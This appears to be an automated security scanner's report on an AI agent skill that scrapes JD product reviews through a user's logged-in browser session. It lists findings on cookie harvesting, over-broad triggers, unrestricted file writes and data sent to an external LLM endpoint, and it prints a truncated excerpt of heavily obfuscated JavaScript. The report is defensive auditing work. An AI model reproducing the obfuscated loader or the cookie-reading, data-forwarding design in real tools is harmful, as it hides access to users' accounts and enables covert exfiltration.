MCP Least Privilege
Confidence
92% confidence
Finding

The skill describes capabilities that interact with a local relay service, the user's authenticated browser session, local environment, and filesystem, but it does not declare an explicit tool scope or permission boundary. That omission is dangerous because it obscures the real access level of the skill, preventing meaningful user review and increasing the chance of over-privileged execution or misuse of local/network resources.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
92% confidence
Finding

The activation text is broad enough to trigger on many generic requests about JD reviews, comments, or reputation data, which raises the risk of the skill being invoked without the user fully understanding that it will drive a logged-in browser and export local files. Over-broad triggering is dangerous in this context because the skill performs side-effecting actions against authenticated state rather than only answering informational queries.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The skill explicitly states that it reuses the user's logged-in Chrome session and writes collected data to local files, yet it does not present a clear user-facing warning about privacy, account-context use, or local data persistence. This is risky because users may not realize the skill is acting with their authenticated browser identity and storing scraped content on disk, which can expose browsing/account context and create unintended data retention.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
94% confidence
Finding

The probe script reads login-identifying cookies (pin, unick, pt_pin) from the live JD page and packages them with page content metadata. That probe data can then be sent over the local HTTP relay and, in ambiguous cases, forwarded into the LLM classification path, creating unnecessary exposure of account-identifying data to additional components without clear minimization or user notice.

Content

No source excerpt is available for this finding.

Unbounded Resource Access

Medium
Category
Excessive Agency
Confidence
75% confidence
Finding

Skill allows unbounded resource consumption (API calls, storage, compute). Without rate limits or quotas, a compromised or misbehaving agent can cause denial-of-service or cost overruns.

Content

Scanner excerpt · wc3-code.mjs (reported line 2)May include surrounding context.

js
#!/usr/bin/env node
const _0x58ce15=_0x4d13;(function(_0x5787d1,_0x53c4a9){const _0x19d87a=_0x4d13,_0xcf5d78=_0x5787d1();while(!![]){try{const _0x5d05cd=parseInt(_0x19d87a(0x1c0))/0x1*(parseInt(_0x19d87a(0x1c2))/0x2)+-parseInt(_0x19d87a(0x1d3))/0x3+parseInt(_0x19d87a(0x1cd))/0x4+-parseInt(_0x19d87a(0x1e3))/0x5+-parseInt(_0x19d87a(0x1ca))/0x6+parseInt(_0x19d87a(0x1e2))/0x7*(-parseInt(_0x19d87a(0x1c1))/0x8)+-parseInt(_0x19d87a(0x1d0))/0x9*(-parseInt(_0x19d87a(0x1e1))/0xa);if(_0x5d05cd===_0x53c4a9)break;else _0xcf5d78['push'](_0xcf5d78['shift']());}catch(_0x575c82){_0xcf5d78['push'](_0xcf5d78['shift']());}}}(_0x1f75,0x2b8ac));import{readFileSync,writeFileSync}from'node:fs';import{resolve}from'node:path';var DEFAULT_TIMEOUT=0x258,LLM_ENDPOINT=process.env.WC3_LLM_ENDPOINT||_0x58ce15(0x1c8);function _0x4d13(_0x17d7ba,_0x40daf9){_0x17d7ba=_0x17d7ba-0x1b1;const _0x1f754c=_0x1f75();let _0x4d1372=_0x1f754c[_0x17d7ba];if(_0x4d13['RhicRU']===undefined){var _0x22ae6c=function(_0x46ec11){const _0x102d98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x2ac657='',_0x55a8b4='';for(let _0x3596d8=0x0,_0x21ae42,_0x33b6a6,_0x311bc0=0x0;_0x33b6a6=_0x46ec11['charAt'](_0x311bc0++);~_0x33b6a6&&(_0x21ae42=_0x3596d8%0x4?_0x21ae42*0x40+_0x33b6a6:_0x33b6a6,_0x3596d8++%0x4)?_0x2ac657+=String['fromCharCode'](0xff&_0x21ae42>>(-0x2*_0x3596d8&0x6)):0x0){_0x33b6a6=_0x102d98['indexOf'](_0x33b6a6);}for(let _0x36c786=0x0,_0x3f3f96=_0x2ac657['length'];_0x36c786<_0x3f3f96;_0x36c786++){_0x55a8b4+='%'+('00'+_0x2ac657['charCodeAt'](_0x36c786)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x55a8b4);};_0x4d13['YLCOTk']=_0x22ae6c,_0x4d13['vHfUSF']={},_0x4d13['RhicRU']=!![];}const _0x596068=_0x1f754c[0x0],_0x3263bb=_0x17d7ba+_0x596068,_0x215146=_0x4d13['vHfUSF'][_0x3263bb];return!_0x215146?(_0x4d1372=_0x4d13['YLCOTk'](_0x4d1372),_0x4d13['vHfUSF'][_0x3263bb]=_0x4d1372):_0x4d1372=_0x215146,_0x4d1372;}function parseArgs(){const _0x449488=_0x58ce15,_0x2ac657=process['argv'][
...[truncated 26 chars]

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
95% confidence
Finding

The tool writes model output directly to a user-specified path with writeFileSync and no confirmation, safe-write strategy, or restriction to an application-controlled output directory. This can overwrite arbitrary local files accessible to the process, causing data loss or facilitating persistence if the caller is tricked into using sensitive paths.

Content

No source excerpt is available for this finding.

Missing User Warnings

Medium
Category
Not specified by scanner
Confidence
86% confidence
Finding

The tool writes model output directly to a user-specified path with writeFileSync and no confirmation, safe-write strategy, or restriction to an application-controlled output directory. This can overwrite arbitrary local files accessible to the process, causing data loss or facilitating persistence if the caller is tricked into using sensitive paths.

Content

No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium
Category
Not specified by scanner
Confidence
89% confidence
Finding

The script contains user-visible status and error strings in Chinese only, such as timeout and server error messages, with no indication that the tool is intentionally region-specific or that users can select another language. This can violate language or locale policy when no user opt-in or justification is provided.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
97% confidence
Finding

The code constructs a request body from user-supplied prompt or prompt-file content and sends it to an external LLM endpoint defined by environment variable or built-in default. For a JD review export skill, this is unjustified and creates a direct path for transmitting sensitive local or user-provided content to a third party.

Content

No source excerpt is available for this finding.

Missing User Warnings

Low
Category
Not specified by scanner
Confidence
88% confidence
Finding

The code persistently writes res.json, data.md, and reviews.md containing scraped content to the output directory. Although file export is part of the skill's purpose, this file itself does not provide a direct user-facing disclosure at the write point that local files will be created and where they will be stored.

Content

No source excerpt is available for this finding.